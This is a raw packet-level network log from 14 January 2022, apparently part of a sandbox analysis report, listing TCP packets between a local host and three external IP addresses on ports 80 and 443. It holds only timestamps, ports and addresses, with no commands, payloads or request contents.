Jan 14, 2022 04:59:40.747013092 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.747020960 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.747035027 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.747051001 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.747064114 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.747102022 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.747270107 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.805140972 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:41.782319069 CET	49855	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:41.839277983 CET	80	49855	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:41.839416981 CET	49855	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:41.839482069 CET	49855	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:41.839504004 CET	49855	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:41.896409988 CET	80	49855	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:41.921860933 CET	80	49855	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:41.921889067 CET	80	49855	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:41.921972036 CET	49855	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:41.922111034 CET	49855	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:41.949353933 CET	49857	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:41.978110075 CET	80	49855	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:42.005187988 CET	80	49857	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:42.005290031 CET	49857	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:42.005439043 CET	49857	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:42.005458117 CET	49857	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:42.061283112 CET	80	49857	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:42.089756012 CET	80	49857	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:42.089905024 CET	49857	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:42.090317011 CET	49857	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:42.119422913 CET	49858	443	192.168.2.3	172.67.139.105
Jan 14, 2022 04:59:42.119476080 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.119559050 CET	49858	443	192.168.2.3	172.67.139.105
Jan 14, 2022 04:59:42.119846106 CET	49858	443	192.168.2.3	172.67.139.105
Jan 14, 2022 04:59:42.119875908 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.146239042 CET	80	49857	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:42.215496063 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.215611935 CET	49858	443	192.168.2.3	172.67.139.105
Jan 14, 2022 04:59:42.217509031 CET	49858	443	192.168.2.3	172.67.139.105
Jan 14, 2022 04:59:42.217528105 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.217878103 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.218663931 CET	49858	443	192.168.2.3	172.67.139.105
Jan 14, 2022 04:59:42.261861086 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.538553953 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.538662910 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.538695097 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.538726091 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.538753033 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.538783073 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.538821936 CET	49858	443	192.168.2.3	172.67.139.105
Jan 14, 2022 04:59:42.538862944 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.538888931 CET	49858	443	192.168.2.3	172.67.139.105
Jan 14, 2022 04:59:42.538897038 CET	49858	443	192.168.2.3	172.67.139.105
Jan 14, 2022 04:59:42.538923025 CET	49858	443	192.168.2.3	172.67.139.105
Jan 14, 2022 04:59:42.538934946 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.538954973 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.539014101 CET	49858	443	192.168.2.3	172.67.139.105
Jan 14, 2022 04:59:42.539216042 CET	49858	443	192.168.2.3	172.67.139.105
Jan 14, 2022 04:59:42.539242029 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.539268017 CET	49858	443	192.168.2.3	172.67.139.105
Jan 14, 2022 04:59:42.539278984 CET	443	49858	172.67.139.105	192.168.2.3
Jan 14, 2022 04:59:42.639450073 CET	49861	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:42.695919991 CET	80	49861	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:42.699377060 CET	49861	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:42.699807882 CET	49861	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:42.699821949 CET	49861	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:42.756234884 CET	80	49861	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:42.781038046 CET	80	49861	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:42.781130075 CET	49861	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:42.781312943 CET	49861	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:42.808341980 CET	49862	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:42.808386087 CET	443	49862	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:42.808511972 CET	49862	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:42.809465885 CET	49862	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:42.809489965 CET	443	49862	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:42.837605000 CET	80	49861	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:42.889146090 CET	443	49862	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:42.889902115 CET	49862	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:42.891503096 CET	49862	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:42.891516924 CET	443	49862	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:42.891824961 CET	443	49862	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:42.892923117 CET	49862	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:42.933943033 CET	443	49862	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:42.959330082 CET	443	49862	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:42.959394932 CET	443	49862	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:42.959608078 CET	49862	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:42.980372906 CET	49862	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:42.980401039 CET	443	49862	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:42.980415106 CET	49862	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:42.980428934 CET	443	49862	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:43.029133081 CET	49864	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.086682081 CET	80	49864	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:43.086762905 CET	49864	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.086858034 CET	49864	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.086869955 CET	49864	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.143212080 CET	80	49864	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:43.176691055 CET	80	49864	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:43.177197933 CET	49864	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.177303076 CET	49864	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.205027103 CET	49866	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.233596087 CET	80	49864	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:43.261931896 CET	80	49866	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:43.266613007 CET	49866	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.284842968 CET	49866	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.284877062 CET	49866	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.340975046 CET	80	49866	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:43.367590904 CET	80	49866	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:43.374039888 CET	49866	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.437817097 CET	49866	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.494198084 CET	80	49866	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:43.526175976 CET	49867	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.582154989 CET	80	49867	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:43.582334042 CET	49867	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.584142923 CET	49867	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.584453106 CET	49867	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.640113115 CET	80	49867	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:43.640131950 CET	80	49867	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:43.669954062 CET	80	49867	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:43.670090914 CET	49867	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.670171976 CET	49867	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.726231098 CET	80	49867	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:43.740339994 CET	49868	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.796912909 CET	80	49868	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:43.797097921 CET	49868	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.797128916 CET	49868	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.797136068 CET	49868	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.854758978 CET	80	49868	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:43.885927916 CET	80	49868	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:43.886010885 CET	49868	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.887207985 CET	49868	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:43.943582058 CET	80	49868	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.421022892 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.476946115 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.478401899 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.478602886 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.543018103 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.543087006 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.543126106 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.543153048 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.543164015 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.543203115 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.543227911 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.543243885 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.543283939 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.543306112 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.543319941 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.543360949 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.543360949 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.543400049 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.543473959 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.600991011 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601057053 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601099014 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601111889 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.601136923 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601176023 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601182938 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.601214886 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601252079 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601260900 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.601291895 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601330042 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601330042 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.601368904 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601406097 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.601408958 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601444960 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601480961 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.601484060 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601522923 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601558924 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601560116 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.601598024 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601635933 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601639986 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.601674080 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601710081 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.601713896 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601749897 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.601788044 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.658099890 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658164978 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658204079 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658220053 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.658241987 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658282042 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658282995 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.658320904 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658360004 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658361912 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.658400059 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658437967 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658441067 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.658478022 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658516884 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658523083 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.658555984 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658595085 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658596992 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.658632994 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658673048 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.658673048 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658714056 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658751011 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658752918 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.658788919 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658827066 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.658828020 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658864021 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658904076 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658905029 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.658941984 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.658982038 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.658982992 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659023046 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659060955 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659061909 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.659099102 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659137011 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659140110 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.659173965 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659212112 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.659213066 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659250975 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659288883 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659288883 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.659329891 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659365892 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659368992 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.659404993 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659442902 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659442902 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.659480095 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659518003 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659521103 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.659555912 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659594059 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659595013 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.659634113 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.659673929 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.715457916 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.715523958 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.715563059 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.715575933 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.715604067 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.715645075 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.715648890 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.715684891 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.715724945 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.715725899 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.715761900 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.715801954 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.715802908 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.715842009 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.715878963 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.715882063 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.715919018 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.715958118 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.715960979 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.715996027 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716042042 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.716049910 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716088057 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716126919 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716131926 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.716165066 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716202021 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716212034 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.716239929 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716279984 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716284990 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.716316938 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716355085 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716356993 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.716392040 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716429949 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716434956 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.716470003 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716505051 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716511011 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.716542959 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716581106 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716588974 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.716617107 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716654062 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716659069 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.716691017 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716728926 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716732025 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.716767073 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716804028 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716809034 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.716841936 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716880083 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716882944 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.716917038 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716954947 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.716958046 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.716990948 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.717029095 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.717031956 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.717068911 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.717104912 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.717111111 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.717143059 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.717180967 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.717185974 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.717216969 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.717255116 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.717259884 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.717293024 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.717341900 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.773298025 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.773358107 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.773396969 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.773437977 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.773475885 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.773514032 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.773511887 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.773550034 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.773555040 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.773555994 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.773591995 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.773632050 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.773633003 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.773729086 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.773768902 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.773777008 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.773807049 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.773871899 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.773910046 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.773917913 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.773960114 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.773972988 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.773997068 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774034977 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774038076 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.774075031 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774111032 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774117947 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.774151087 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774188995 CET	80	49869	94.142.143.91	192.168.2.3
